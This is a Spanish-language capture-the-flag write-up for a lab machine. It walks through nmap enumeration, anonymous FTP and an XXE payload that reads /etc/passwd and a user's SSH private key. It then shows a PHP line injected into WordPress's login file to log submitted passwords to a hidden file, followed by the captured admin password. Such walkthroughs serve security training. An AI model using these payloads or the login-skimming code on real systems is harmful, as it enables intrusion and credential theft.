Esta es una de mis máquinas favoritas, pero si estuvo un poquito complicada porque son muchas cosas combinadas.

Lo primero que se hace como siempre es empezar a checar servicios y puertos.
Nmap por ejemplo:

  • sC = Los scripts que son por default
  • sV = Dime las versiones
[14:47:18]-[root@default]-[~]# nmap -sC -sV 10.10.10.78
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-21 14:47 CET
Nmap scan report for 10.10.10.78
Host is up (0.018s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.91
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Con el NMAP ya podemos ver por ejemplo que hay un archivo en el ftp que se llama test.

[14:53:40]-[root@default]-[~]# ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.00 secs (839.8438 kB/s)
ftp> exit
221 Goodbye.
[14:54:41]-[root@default]-[~]# cat test.txt 
<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

^^ Es interesante que nos dan un xml.

Despues podemos correr dirbuster con php como extensión:

Con Dirbuster igual encontramos que hay un pagina interesante que se llama host.php

Si la accesamos vemos:

Ahora usando la magia de burp vamos a interceptar ese request y mandarlo al repeater:

Si modificamos el request cambiando el verbo de GET a POST y agregando lo que vimos en test.txt podemos ver que la respuesta cambia.

Request

POST /hosts.php HTTP/1.1
Host: 10.10.10.78
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 90


<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

Response

HTTP/1.1 200 OK
Date: Thu, 21 Mar 2019 13:54:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 53
Connection: close
Content-Type: text/html; charset=UTF-8


There are 62 possible hosts for 255.255.255.192

Lo cual es cool, ahora probemos inyectando algo, el PoC es:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Modificandolo queda:

<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/passwd" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>

En la imagen de arriba podemos ver que hay tres usuarios interesantes

  1. root
  2. florian
  3. cliff

Ahora vamos a usar Burp para probar con esta lista y esta otra en Burp que podemos sacar (es importante remplazar (~ con /home/florian y cliff)

file:////home/florian/.ssh/id_rsa

nos da la clave privada.

[15:53:35]-[root@default]-[~/Documents]# chmod 600 privavtekey.ssh 
[15:53:46]-[root@default]-[~/Documents]# ssh -i privavtekey.ssh [email protected]
The authenticity of host '10.10.10.78 (10.10.10.78)' can't be established.
ECDSA key fingerprint is SHA256:phu0FjQg/9nCmL2014AJ9yH4akvraA7Ea5QtE59wqD4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.78' (ECDSA) to the list of known hosts.
Last login: Fri Jan 12 13:56:45 2018 from 10.10.14.3
florian@aragog:~$ cd /home/florian
florian@aragog:~$ cat user.txt
f43bdfbcfd3f2a955...

Ahora por root.

Si corrers Lineum puedes ver que hay un wordpress que puedes modificar.

Para verlo bien lo primero que hay que hacer es modificar hosts y agregar aragog con 10.10.10.78 porque WordPress hace referencias absolutas

Luego si vas al blog puede ver un mensaje de cliff diciendo que va a entrar regularmente:

I’ll be logging in regularly and will email the wider team when I need some more testers 😉

Cliff

Desde el wp-admin puede interceptar tus intentos de log-in con burp:

Ahora bien, porque esa imagen es importante? De ahi podemos sacar el archivo que procesa esas contrase;as wp-login.php y el nombre de las variables que necesitamos

  1. log = username
  2. pwd = password
file_put_contents("wp-includes/.ric.php","WP :" . $_POST['log']
    . " : " . $_POST['pwd'] . "\n", FILE_APPEND);
WP :Administrator : !KRgYs(JFO!&MTr)lf

y ya a buscar la bandera y la maquina es nuestra 🙂

florian@aragog:~$ su
Password: 
root@aragog:/home# cd /root
root@aragog:~# cat root.txt 
9a9da52d7aad35869...